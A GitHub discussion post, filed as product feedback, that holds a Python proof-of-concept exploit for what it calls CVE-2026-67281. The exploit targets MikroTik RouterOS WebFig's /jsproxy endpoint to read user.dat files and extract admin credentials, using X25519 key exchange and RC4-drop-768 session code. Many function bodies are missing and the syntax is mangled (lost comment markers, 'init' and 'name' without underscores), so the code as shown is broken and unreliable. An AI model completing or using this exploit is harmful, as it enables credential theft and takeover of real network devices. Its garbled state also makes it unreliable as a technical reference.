Mikrotik Webfig/Jsproxy unauthenticated file read(cve 2026-67281) Need more work #207665
Unanswered
sohel160
asked this question in
Discussions
Replies: 1 comment
|
💬 Your Product Feedback Has Been Submitted 🎉 Thank you for taking the time to share your insights with us! Your feedback is invaluable as we build a better GitHub experience for all our users. Here's what you can expect moving forward ⏩
Where to look to see what's shipping 👀
What you can do in the meantime 💻
As a member of the GitHub community, your participation is essential. While we can't promise that every suggestion will be implemented, we want to emphasize that your feedback is instrumental in guiding our decisions and priorities. Thank you once again for your contribution to making GitHub even better! We're grateful for your ongoing support and collaboration in shaping the future of our platform. ⭐ |
0 replies
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Uh oh!
There was an error while loading. Please reload this page.
Discussion Type
Product Feedback
Discussion Content
#!/usr/bin/env python3
"""
CVE-2026-67281 PoC: RouterOS WebFig Unauthenticated File Read
Exploits the /jsproxy/ endpoint to read arbitrary files, specifically
/user.dat or /flash/user.dat, to extract admin credentials.
Verification Checklist Implemented:
[+] /jsproxy reachable
[+] 40-byte Curve25519 handshake (Client -> Server)
[+] RouterOS session ID parsing (8 bytes)
[+] WebFig key derivation (SHA1 + Magic Strings)
[+] RC4-drop-768 initialization
[+] WebFig sequence framing (JSON Payload)
[+] Encrypted 8-byte padding (Session ID prefix)
[+] Benign M2 request (Open File Command)
Exploitation:
Usage:
python3 routeros_cred_extract_cve2026.py <target_ip> [--port 80] [--https]
"""
import argparse
import hashlib
import http.client
import ssl
import os
import struct
import json
import re
import base64
============================================================
Crypto Primitives (X25519 & RC4)
============================================================
P = 2**255 - 19
A24 = 121665
WebFig Magic Strings for Key Derivation
MAGIC_SEND = b"On the client side, this is the send key; on the server side, it is the receive key."
MAGIC_RECV = b"On the client side, this is the receive key; on the server side, it is the send key."
class RouterOSRC4:
"""RouterOS RC4 with Drop-768 keystream"""
def init(self, key):
self.S = list(range(256))
self.i = 0
self.j = 0
self.set_key(key)
def x25519(priv_int, u_bytes):
"""
Standard X25519 scalar multiplication.
Input: priv as int, u as 32 bytes.
Output: Shared secret as int.
"""
k = priv_int
# Base point is 9 (0x09) followed by 31 zero bytes for public key generation
if len(u_bytes) != 32:
raise ValueError("u_bytes must be 32 bytes")
def generate_keypair():
"""Generate X25519 keypair"""
priv_int = int.from_bytes(os.urandom(32), 'little')
basepoint = b'\x09' + b'\x00' * 31
pub_int = x25519(priv_int, basepoint)
return priv_int, pub_int
def make_key(master_key_int, is_send):
"""Derive RC4 key from master key integer"""
# Convert master key int to 32 bytes little-endian
master_bytes = master_key_int.to_bytes(32, byteorder='little')
============================================================
Session Management
============================================================
class RouterOSSession:
def init(self, host, port, ssl=False):
self.host = host
self.port = port
self.ssl = ssl
self.tx = None
self.rx = None
============================================================
Credential Extraction
============================================================
def parse_user_dat(data):
"""
Parses RouterOS user.dat content.
The format is typically a series of key=value pairs,
often separated by newlines or null bytes.
"""
print("\n[*] Parsing credentials...")
def main():
parser = argparse.ArgumentParser(description="RouterOS WebFig Credential Extraction PoC (CVE-2026-67281)")
parser.add_argument("target", help="IP or Hostname")
parser.add_argument("--port", type=int, default=80)
parser.add_argument("--https", action="store_true")
args = parser.parse_args()
if name == "main":
import sys
main()
All reactions